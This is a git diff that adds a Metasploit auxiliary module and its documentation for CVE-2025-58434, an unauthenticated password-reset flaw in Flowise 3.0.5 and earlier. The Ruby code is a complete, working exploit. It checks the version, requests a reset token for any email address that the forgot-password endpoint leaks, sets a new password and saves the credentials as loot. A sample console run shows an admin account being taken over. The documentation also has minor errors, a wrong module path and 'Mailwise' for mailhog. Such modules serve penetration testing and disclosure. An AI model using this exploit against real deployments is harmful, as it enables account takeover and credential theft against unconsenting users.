diff --git a/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md new file mode 100644 index 0000000000000..a3c92b67adb66 --- /dev/null +++ b/documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md @@ -0,0 +1,79 @@ +## Vulnerable Application + +In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including +a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset +token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). + +The vulnerability affects: + + * flowise <= 3.0.5 + +This module was successfully tested on: + + * flowise 3.0.4 installed with Docker + + +### Installation +1. Pull & run a Flowise docker container (v3.0.4) in your VM. +``` +docker run -d \ +--name flowise \ +--network flowise-net \ +-p 3000:3000 \ +-e SMTP_HOST=mailhog \ +-e SMTP_PORT=1025 \ +-e SMTP_SECURE=false \ +-e SMTP_USER=test \ +-e SMTP_PASSWORD=test \ +-v flowise-data:/root/.flowise \ +flowiseai/flowise:3.0.4 +``` +2. Pull and run Mailwise docker container in your VM. +``` +docker run -d \ +--name mailhog \ +--network flowise-net \ +-p 1025:1025 \ +-p 8025:8025 \ +mailhog/mailhog +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/flowise_auth_bypass_cve-2025_58434` +4. Do: `run rhost= email= newpassword=` +5. You should get a status success message indicating that the new username and password have been stored to loot. + + +## Options + +### EMAIL (required) + +Email address of the Flowise user whose password is to be reset + +### NEWPASSWORD (required) + +The new password of the targeted Flowise user. +NOTE: Flowise does not accept empty strings as passwords. + + +## Scenarios +``` +msf > use auxiliary/gather/flowise_auth_bypass_cve_2025_58434 +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set RHOSTS 192.168.1.30 +RHOSTS => 192.168.1.30 +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set EMAIL admin@local.com +EMAIL => admin@local.com +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set NEWPASSWORD password123 +NEWPASSWORD => password123 +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > run +[*] Running module against 192.168.1.30 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Flowise version 3.0.4 is in the vulnerable range +[+] Password reset successful. Loot stored in: /home/richard/.msf4/loot/20260806210741_default_192.168.1.30_flowise.files_888141.txt +[*] Auxiliary module execution completed +msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > +``` diff --git a/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb new file mode 100644 index 0000000000000..cb44a0ceddc26 --- /dev/null +++ b/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: https://metasploit.com/download +## + +require 'uri' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Flowise Authentication Bypass', + 'Description' => %q{ + In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including + a valid password reset `tempToken` without authentication or verification. + This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a + complete account takeover (ATO). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Richard Howe', # Metasploit module + 'Isaac David', # Discovered vulnerability + 'Arthur Gervais' # Discovered vulnerability + ], + 'References' => [ + ['CVE', '2025-58434'], + ['EDB', '52557'], + ['GHSA', 'wgpv-6j63-x5ph'] + ], + 'DisclosureDate' => '2025-09-12', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(3000), + OptString.new('TARGETURI', [true, 'Base path of the Flowise dashboard', '/']), + OptString.new('EMAIL', [true, 'The email address of victim user', 'admin@local']), + OptString.new('NEWPASSWORD', [true, 'The new password assigned to the victim user', 'password123']) + ] + ) + end + + def check + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + } + ) + + unless res&.code == 200 + return Exploit::CheckCode::Unknown( + 'No response or unexpected status from Flowise API' + ) + end + + flow_version = res.get_json_document['version'] + + unless Rex::Version.new(flow_version) <= Rex::Version.new('3.0.5') + return Exploit::CheckCode::Safe( + "Flowise version #{flow_version} is not vulnerable" + ) + end + + Exploit::CheckCode::Appears( + "Flowise version #{flow_version} is in the vulnerable range" + ) + end + + def get_reset_token(email) + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/account/forgot-password'), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'data' => { + 'user' => { + email: email + } + }.to_json + } + ) + + fail_with(Failure::Unknown, 'Unexpected server reply while requesting reset token.') unless res&.code == 201 + + res.get_json_document.dig('user', 'tempToken') + end + + def reset_password(email, token, password) + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/account/reset-password'), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'data' => { + 'user' => { + 'email' => email, + 'tempToken' => token, + 'password' => password + } + }.to_json + } + ) + + fail_with(Failure::Unknown, 'Unexpected server reply while resetting password.') unless res&.code == 201 + end + + def run + email = datastore['EMAIL'] + new_password = datastore['NEWPASSWORD'] + + # Request reset token + reset_token = get_reset_token(email) + + if reset_token.empty? + fail_with(Failure::UnexpectedReply, 'Could not retrieve password reset token for victim email address.') + end + + # Reset user password + reset_password(email, reset_token, new_password) + + loot = { + 'email' => email, + 'password' => new_password + }.to_json + + loot_path = store_loot( + 'flowise.files', + 'text/plain', + rhost, + loot, + 'flowise.txt', + 'Flowise login credentials retrieved via unauthenticated user password reset' + ) + + print_good("Password reset successful. Loot stored in: #{loot_path}") + end +end